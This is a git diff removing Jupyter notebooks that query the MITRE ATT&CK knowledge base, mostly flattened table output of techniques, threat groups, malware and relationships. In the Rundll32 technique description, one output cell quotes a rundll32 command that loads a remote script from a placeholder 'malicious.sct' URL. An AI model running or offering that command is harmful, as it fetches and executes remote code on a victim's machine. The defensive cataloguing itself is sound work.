1attack-pattern--5ca3c7ec-55b2-4587-9376-cf6c96...Adversaries may use a compromised device as a ...Proxy Through Victimidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-12-04T20:30:31.513Z2020-11-30T14:26:07.728Z[Android]Enterprises may be able to detect anomalous tr...[Post-Adversary Device Access]False1.0NaNNaNNaNNaN
2attack-pattern--00290ac5-551e-44aa-bbd8-c4b913...Adversaries may abuse task scheduling function...Scheduled Task/Jobidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-11-04T19:45:38.144Z2020-11-04T16:43:31.619Z[Android, iOS]Scheduling tasks/jobs can be difficult to dete...[Post-Adversary Device Access]False1.0[Lorin Wu, Trend Micro]NaNNaNNaN
3attack-pattern--b327a9c0-e709-495c-aa6e-00b042...Adversaries may delete, alter, or send SMS mes...SMS Controlidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-10-22T17:04:15.578Z2020-09-11T15:14:33.730Z[Android]Users can view the default SMS handler in syst...[Post-Adversary Device Access]False1.0NaNNaNNaNNaN
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1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-attack', 'external_id'...Security UpdatesInstall security updates in response to discov...course-of-action--bcecd036-f40e-4916-9f8e-fd0c...course-of-action2019-10-18T14:56:15.631Z2019-10-18T12:51:36.488Z1.0NaN
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-attack', 'external_id'...AttestationEnable remote attestation capabilities when av...course-of-action--ff4821f6-5afb-481b-8c0f-26c2...course-of-action2019-10-18T14:52:53.019Z2019-10-18T12:50:35.335Z1.0NaN
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createdmodifiedaliasescreated_by_refobject_marking_refsexternal_referencesdescriptionnametypeidx_mitre_versionx_mitre_contributors
02020-06-25T17:16:39.168Z2021-04-26T14:37:33.234Z[Windshift, Bahamut]identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'G0112', 'source_name': 'mitr...[Windshift](https://attack.mitre.org/groups/G0...Windshiftintrusion-setintrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a...1.1NaN
12020-01-27T16:55:39.688Z2020-03-26T20:58:44.722Z[Bouncing Golf]identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'G0097', 'source_name': 'mitr...[Bouncing Golf](https://attack.mitre.org/group...Bouncing Golfintrusion-setintrusion-set--049cef3b-22d5-4be6-b50c-9839c7a...1.0NaN
22018-10-17T00:14:20.652Z2020-06-03T20:22:40.401Z[Dark Caracal]identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-attack', 'url': 'https...[Dark Caracal](https://attack.mitre.org/groups...Dark Caracalintrusion-setintrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced74...1.2NaN
32017-05-31T21:32:04.588Z2021-04-13T13:13:09.511Z[Sandworm Team, ELECTRUM, Telebots, IRON VIKIN...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-attack', 'url': 'https...[Sandworm Team](https://attack.mitre.org/group...Sandworm Teamintrusion-setintrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc...2.0NaN
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external_referencesobject_marking_refscreated_by_refdescriptionnameidtypelabelsmodifiedcreatedx_mitre_versionx_mitre_aliasesx_mitre_platformsx_mitre_contributorsx_mitre_old_attack_id
0[{'external_id': 'S0602', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Circles](https://attack.mitre.org/software/S0...Circlesmalware--c6a07c89-a24c-4c7e-9e3e-6153cc595e24malware[malware]2021-04-26T15:33:55.798Z2021-04-26T15:33:55.798Z1.0[Circles]NaNNaNNaN
1[{'external_id': 'S0577', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[FrozenCell](https://attack.mitre.org/software...FrozenCellmalware--96ea1e13-d50f-45f1-b0cf-4ac9bc5a2d62malware[malware]2021-04-19T14:07:24.519Z2021-02-17T20:43:52.033Z1.0[FrozenCell][Android]NaNNaN
2[{'external_id': 'S0558', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Tiktok Pro](https://attack.mitre.org/software...Tiktok Promalware--c6abcaf8-1765-41f8-9fe5-03d42fd0f6c0malware[malware]2021-04-19T16:30:16.930Z2021-01-05T20:16:19.968Z1.0[Tiktok Pro][Android]NaNNaN
3[{'external_id': 'S0555', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[CHEMISTGAMES](https://attack.mitre.org/softwa...CHEMISTGAMESmalware--a0d774e4-bafc-4292-8651-3ec899391341malware[malware]2021-03-25T16:42:05.526Z2020-12-31T18:25:04.779Z1.0[CHEMISTGAMES][Android]NaNNaN
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external_referencesobject_marking_refscreated_by_refdescriptionnameidtypelabelsmodifiedcreatedx_mitre_versionx_mitre_aliasesx_mitre_platformsx_mitre_contributorsx_mitre_old_attack_id
0[{'external_id': 'S0408', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[FlexiSpy](https://attack.mitre.org/software/S...FlexiSpytool--1622fd3d-fcfc-4d02-ac49-f2d786f79b81tool[tool]2019-10-14T18:08:28.349Z2019-09-04T15:38:56.070Z1.0[FlexiSpy][Android][Emily Ratliff, IBM]NaN
1[{'source_name': 'mitre-mobile-attack', 'url':...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Xbot](https://attack.mitre.org/software/S0298...Xbottool--da21929e-40c0-443d-bdf4-6b60d15448b4tool[tool]2018-12-11T20:40:31.461Z2017-10-25T14:48:48.609Z1.1[Xbot][Android]NaNMOB-S0014
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0attack-pattern--b182f29c-2505-4b32-a000-0440ef...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Spearphishing for InformationThis object is deprecated as its content has b...[{'source_name': 'mitre-pre-attack', 'url': 'h...[marking-definition--fa42a846-8d90-4e51-bc29-7...attack-pattern[{'kill_chain_name': 'mitre-pre-attack', 'phas...2020-10-26T13:42:49.342Z2018-04-18T17:59:24.739ZFalsePRE-T11741.0Sending emails is trivial, and, over time, an ...YesDepending on the specific method of phishing, ...PartialTrue
1attack-pattern--795c1a92-3a26-453e-b99a-6a566a...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Acquire and/or use 3rd party infrastructure se...This object is deprecated as its content has b...[{'source_name': 'mitre-pre-attack', 'url': 'h...[marking-definition--fa42a846-8d90-4e51-bc29-7...attack-pattern[{'kill_chain_name': 'mitre-pre-attack', 'phas...2020-10-26T13:42:49.342Z2017-12-14T16:46:06.044ZNaNPRE-T11061.0Wide variety of cloud/VPS/hosting/compute/stor...YesHard to differentiate from standard business o...NoTrue
2attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf42...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Acquire or compromise 3rd party signing certif...This object is deprecated as its content has b...[{'source_name': 'mitre-pre-attack', 'url': 'h...[marking-definition--fa42a846-8d90-4e51-bc29-7...attack-pattern[{'kill_chain_name': 'mitre-pre-attack', 'phas...2020-10-26T13:42:49.342Z2017-12-14T16:46:06.044ZNaNPRE-T11091.0It is trivial to purchase code signing certifi...NoDefender will not know what certificates an ad...NoTrue
3attack-pattern--773950e1-090c-488b-a480-9ff236...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Analyze data collectedThis object is deprecated as its content has b...[{'source_name': 'mitre-pre-attack', 'url': 'h...[marking-definition--fa42a846-8d90-4e51-bc29-7...attack-pattern[{'kill_chain_name': 'mitre-pre-attack', 'phas...2020-10-26T13:42:49.342Z2017-12-14T16:46:06.044ZNaNPRE-T10641.0Many of the common tools highlight these weakn...YesThis can be done offline after the data has be...NoTrue
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iddescriptionnamecreated_by_refobject_marking_refsexternal_referencestypekill_chain_phasesmodifiedcreatedx_mitre_platformsx_mitre_detectionx_mitre_tactic_typex_mitre_is_subtechniquex_mitre_versionx_mitre_contributorsx_mitre_old_attack_idrevokedx_mitre_deprecated
0attack-pattern--e083305c-49e7-4c87-aae8-968921...Adversaries may use built-in command-line inte...Command-Line Interfaceidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-12-17T17:31:52.802Z2020-12-16T20:16:07.673Z[Android, iOS]Command-Line Interface execution can be diffic...[Post-Adversary Device Access]False1.0NaNNaNNaNNaN
1attack-pattern--5ca3c7ec-55b2-4587-9376-cf6c96...Adversaries may use a compromised device as a ...Proxy Through Victimidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-12-04T20:30:31.513Z2020-11-30T14:26:07.728Z[Android]Enterprises may be able to detect anomalous tr...[Post-Adversary Device Access]False1.0NaNNaNNaNNaN
2attack-pattern--00290ac5-551e-44aa-bbd8-c4b913...Adversaries may abuse task scheduling function...Scheduled Task/Jobidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-11-04T19:45:38.144Z2020-11-04T16:43:31.619Z[Android, iOS]Scheduling tasks/jobs can be difficult to dete...[Post-Adversary Device Access]False1.0[Lorin Wu, Trend Micro]NaNNaNNaN
3attack-pattern--b327a9c0-e709-495c-aa6e-00b042...Adversaries may delete, alter, or send SMS mes...SMS Controlidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-10-22T17:04:15.578Z2020-09-11T15:14:33.730Z[Android]Users can view the default SMS handler in syst...[Post-Adversary Device Access]False1.0NaNNaNNaNNaN
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0[{'source_name': 'mitre-attack', 'external_id'...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Code Signing Policy ModificationAdversaries may modify code signing policies t...attack-pattern--565275d5-fcc3-4b66-b4e7-928e4c...attack-pattern[{'kill_chain_name': 'mitre-attack', 'phase_na...2021-04-26T15:41:39.155Z2021-04-23T01:04:57.161Z...NaNNaNNaNNaNNaNNaNNaNNaNNaNNaN
1[{'source_name': 'mitre-attack', 'external_id'...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5System Location Discovery\\nAdversaries may gather information in an att...attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f1...attack-pattern[{'kill_chain_name': 'mitre-attack', 'phase_na...2021-04-20T19:25:49.977Z2021-04-01T16:42:08.735Z...NaNNaNNaNNaNNaNNaNNaNNaNNaNNaN
2[{'source_name': 'mitre-attack', 'external_id'...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Container and Resource DiscoveryAdversaries may attempt to discover containers...attack-pattern--0470e792-32f8-46b0-a351-652bc3...attack-pattern[{'kill_chain_name': 'mitre-attack', 'phase_na...2021-04-12T18:22:05.737Z2021-03-31T14:26:00.848Z...NaNNaNNaNNaNNaNNaNNaNNaNNaNNaN
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3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'G0127', 'source_name': 'mitr...[TA551](https://attack.mitre.org/groups/G0127)...TA551intrusion-setintrusion-set--94873029-f950-4268-9cfd-5032e15...[TA551, GOLD CABIN, Shathak]2021-03-25T15:33:58.444Z2021-03-19T21:04:00.692Z1.0[Shuhei Sasada, Cyber Defense Institute, Inc, ...NaN
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02021-03-19T13:11:50.666Z2021-04-26T22:35:19.315Z[tool]tooltool--80c815bb-b24a-4b9c-9d73-ff4c075a278dOut1[Out1](https://attack.mitre.org/software/S0594...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0594', 'source_name': 'mitr...[Windows][Out1]1.0NaNNaNNaN
12021-03-18T14:57:34.628Z2021-04-25T23:30:38.375Z[tool]tooltool--03c6e0ea-96d3-4b23-9afb-05055663cf4bRemoteUtilities[RemoteUtilities](https://attack.mitre.org/sof...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0592', 'source_name': 'mitr...[Windows][RemoteUtilities]1.0NaNNaNNaN
22021-03-18T13:39:27.676Z2021-03-18T14:54:01.053Z[tool]tooltool--842976c7-f9c8-41b2-8371-41dc64fbe261ConnectWise[ConnectWise](https://attack.mitre.org/softwar...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0591', 'source_name': 'mitr...[Windows][ConnectWise, ScreenConnect]1.0NaNNaNNaN
32021-03-17T15:26:20.015Z2021-04-24T20:45:08.323Z[tool]tooltool--b63970b7-ddfb-4aee-97b1-80d335e033a8NBTscan[NBTscan](https://attack.mitre.org/software/S0...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0590', 'source_name': 'mitr...[Windows, Linux, macOS][NBTscan]1.0[Daniyal Naeem, BT Security]NaNNaN
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0identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CISA AppleJeus Feb 2021', 'u...[AppleJeus](https://attack.mitre.org/software/...relationship--fbe555c3-5c7b-44e7-a48f-293bdae9...relationship2021-04-27T15:46:45.720Z2021-04-27T15:46:45.720Zmalware--e2d34c63-6f5a-41f5-86a2-e2380f27f858usesattack-pattern--ef67e13e-5598-4adc-bdb2-998225...
1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CERT-FR PYSA April 2020', 'u...[Pysa](https://attack.mitre.org/software/S0583...relationship--fc0b1fb2-f987-4d9c-8470-c40c5179...relationship2021-04-27T03:33:35.204Z2021-04-27T03:33:35.204Zmalware--a19c1197-9414-46e3-986f-0f609ff4a46busesattack-pattern--d63a3fb8-9452-4e9d-a60a-54be68...
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software...relationship--00038d0e-7fc7-41c3-9055-edb4d87e...relationship2021-04-27T01:56:35.810Z2021-04-27T01:56:35.810Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--707399d6-ab3e-4963-9315-d9d381...
3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software/...relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f...relationship2021-04-27T01:56:35.803Z2021-04-27T01:56:35.803Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--391d824f-0ef1-47a0-b0ee-c59a75...
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3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...NaNNaNrelationship--83379e43-4bc5-4c49-b0b3-f41161e8...relationship2019-02-19T18:56:56.770Z2019-02-19T18:56:56.770Zattack-pattern--e5164428-03ca-4336-a9a7-4d9ea1...related-toattack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf42...
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0identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CitizenLab Circles', 'url': ...[Circles](https://attack.mitre.org/software/S0...relationship--718a612e-50c5-40ab-9081-b88cefea...relationship2021-04-26T15:33:55.905Z2021-04-26T15:33:55.905Zmalware--c6a07c89-a24c-4c7e-9e3e-6153cc595e24usesattack-pattern--52651225-0b3a-482d-aa7e-10618f...
1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CitizenLab Circles', 'url': ...[Circles](https://attack.mitre.org/software/S0...relationship--9de24ec5-63bc-4520-9f81-d1b93a31...relationship2021-04-26T15:33:55.897Z2021-04-26T15:33:55.897Zmalware--c6a07c89-a24c-4c7e-9e3e-6153cc595e24usesattack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a...
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'Lookout Uyghur Campaign', 'u...[DoubleAgent](https://attack.mitre.org/softwar...relationship--64ddcf35-dbf0-4b9f-bf07-1e0bde8b...relationship2021-04-19T17:05:42.574Z2021-04-19T17:05:42.574Zmalware--3d6c4389-3489-40a3-beda-c56e650b6f68usesattack-pattern--e1c912a9-e305-434b-9172-8a6ce3...
3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'Lookout Uyghur Campaign', 'u...[SilkBean](https://attack.mitre.org/software/...relationship--2f8b5252-551c-4a0d-8e72-8da40507...relationship2021-04-19T14:29:46.530Z2021-04-19T14:29:46.530Zmalware--ddbe5657-e21e-4a89-8221-2f1362d397ecusesattack-pattern--b327a9c0-e709-495c-aa6e-00b042...
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0identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CISA AppleJeus Feb 2021', 'u...[AppleJeus](https://attack.mitre.org/software/...relationship--fbe555c3-5c7b-44e7-a48f-293bdae9...relationship2021-04-27T15:46:45.720Z2021-04-27T15:46:45.720Zmalware--e2d34c63-6f5a-41f5-86a2-e2380f27f858usesattack-pattern--ef67e13e-5598-4adc-bdb2-998225...
1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CERT-FR PYSA April 2020', 'u...[Pysa](https://attack.mitre.org/software/S0583...relationship--fc0b1fb2-f987-4d9c-8470-c40c5179...relationship2021-04-27T03:33:35.204Z2021-04-27T03:33:35.204Zmalware--a19c1197-9414-46e3-986f-0f609ff4a46busesattack-pattern--d63a3fb8-9452-4e9d-a60a-54be68...
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software...relationship--00038d0e-7fc7-41c3-9055-edb4d87e...relationship2021-04-27T01:56:35.810Z2021-04-27T01:56:35.810Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--707399d6-ab3e-4963-9315-d9d381...
3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software/...relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f...relationship2021-04-27T01:56:35.803Z2021-04-27T01:56:35.803Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--391d824f-0ef1-47a0-b0ee-c59a75...
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" - ] - }, - "execution_count": 93, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "relations_list = []\n", - "for t in relationships:\n", - " relations_list.append(json.loads(t.serialize()))\n", - "df = pandas.json_normalize(relations_list)\n", - "df[0:4]" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} \ No newline at end of file diff --git a/docs/playground/Usage_Filters.ipynb b/docs/playground/Usage_Filters.ipynb deleted file mode 100644 index 7b11830..0000000 --- a/docs/playground/Usage_Filters.ipynb +++ /dev/null @@ -1,596 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Filtering ATT&CK\n", - "------------------" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Import ATTACK API Client" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "from attackcti import attack_client" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Import Extra Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "from pandas import *" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Initialize ATT&CK Client Variable" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [], - "source": [ - "lift = attack_client()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Technique by Name (TAXII)\n", - "You can use a custom method in the attack_client class to get a technique across all the matrices by its name. It is case sensitive." - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [], - "source": [ - "technique_name = lift.get_technique_by_name('Rundll32')" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "[AttackPattern(type='attack-pattern', id='attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-01-23T18:03:46.248Z', modified='2021-01-20T18:12:11.843Z', name='Rundll32', description='Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\\\..\\\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/011', external_id='T1218.011'), ExternalReference(source_name='Trend Micro CPL', description='Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', url='https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'), ExternalReference(source_name='This is Security Command Line Confusion', description='B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', url='https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Casey Smith', 'Ricardo Dias'], x_mitre_data_sources=['Process: Process Creation', 'Command: Command Execution', 'Module: Module Load'], x_mitre_defense_bypassed=['Digital Certificate Validation', 'Application control', 'Anti-virus'], x_mitre_detection='Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['Windows'], x_mitre_version='1.0'),\n", - " AttackPattern(type='attack-pattern', id='attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5', created='2017-05-31T21:31:06.045Z', modified='2020-01-31T19:01:41.919Z', name='Rundll32', revoked=True, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1085', external_id='T1085'), ExternalReference(source_name='Trend Micro CPL', description='Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', url='https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'), ExternalReference(source_name='This is Security Command Line Confusion', description='B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', url='https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/')])]" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "technique_name" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Data Sources from All Techniques (TAXII)\n", - "* You can also get all the data sources available in ATT&CK\n", - "* Currently the only techniques with data sources are the ones in Enterprise ATT&CK." - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [], - "source": [ - "data_sources = lift.get_data_sources()" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "140" - ] - }, - "execution_count": 7, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "len(data_sources)" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['Windows Registry: Windows Registry Key Modification',\n", - " 'Command: Command Execution',\n", - " 'Process: Process Creation',\n", - " 'Instance: Instance Metadata',\n", - " 'Process: OS API Execution',\n", - " 'Cluster: Cluster Metadata',\n", - " 'Container: Container Enumeration',\n", - " 'Container: Container Metadata',\n", - " 'Pod: Pod Enumeration',\n", - " 'Pod: Pod Metadata',\n", - " 'Application Log: Application Log Content',\n", - " 'File: File Access',\n", - " 'User Account: User Account Authentication',\n", - " 'Image: Image Creation',\n", - " 'Network Traffic: Network Connection Creation',\n", - " 'Network Traffic: Network Traffic Flow',\n", - " 'Network Traffic: Network Traffic Content',\n", - " 'Container: Container Creation',\n", - " 'Container: Container Start',\n", - " 'Instance: Instance Creation',\n", - " 'Instance: Instance Start',\n", - " 'Scheduled Job: Scheduled Job Creation',\n", - " 'File: File Creation',\n", - " 'Pod: Pod Creation',\n", - " 'Pod: Pod Modification',\n", - " 'File: File Metadata',\n", - " 'Process: Process Access',\n", - " 'Active Directory: Active Directory Object Creation',\n", - " 'Active Directory: Active Directory Object Modification',\n", - " 'Active Directory: Active Directory Object Deletion',\n", - " 'Windows Registry: Windows Registry Key Creation',\n", - " 'Logon Session: Logon Session Creation',\n", - " 'Web Credential: Web Credential Creation',\n", - " 'Web Credential: Web Credential Usage',\n", - " 'Firmware: Firmware Modification',\n", - " 'File: File Modification',\n", - " 'Cloud Service: Cloud Service Modification',\n", - " 'Cloud Service: Cloud Service Disable',\n", - " 'Module: Module Load',\n", - " 'Driver: Driver Load',\n", - " 'Script: Script Execution',\n", - " 'File: File Content',\n", - " 'Active Directory: Active Directory Credential Request',\n", - " 'Instance: Instance Enumeration',\n", - " 'Snapshot: Snapshot Metadata',\n", - " 'Snapshot: Snapshot Enumeration',\n", - " 'Cloud Storage: Cloud Storage Metadata',\n", - " 'Cloud Storage: Cloud Storage Enumeration',\n", - " 'Volume: Volume Metadata',\n", - " 'Volume: Volume Enumeration',\n", - " 'Service: Service Creation',\n", - " 'Firewall: Firewall Rule Modification',\n", - " 'Firewall: Firewall Disable',\n", - " 'Instance: Instance Modification',\n", - " 'Instance: Instance Stop',\n", - " 'Instance: Instance Deletion',\n", - " 'Snapshot: Snapshot Creation',\n", - " 'Sensor Health: Host Status',\n", - " 'User Account: User Account Creation',\n", - " 'User Account: User Account Metadata',\n", - " 'Service: Service Metadata',\n", - " 'Drive: Drive Creation',\n", - " 'File: File Deletion',\n", - " 'Firewall: Firewall Metadata',\n", - " 'Firewall: Firewall Enumeration',\n", - " 'Group: Group Enumeration',\n", - " 'Group: Group Metadata',\n", - " 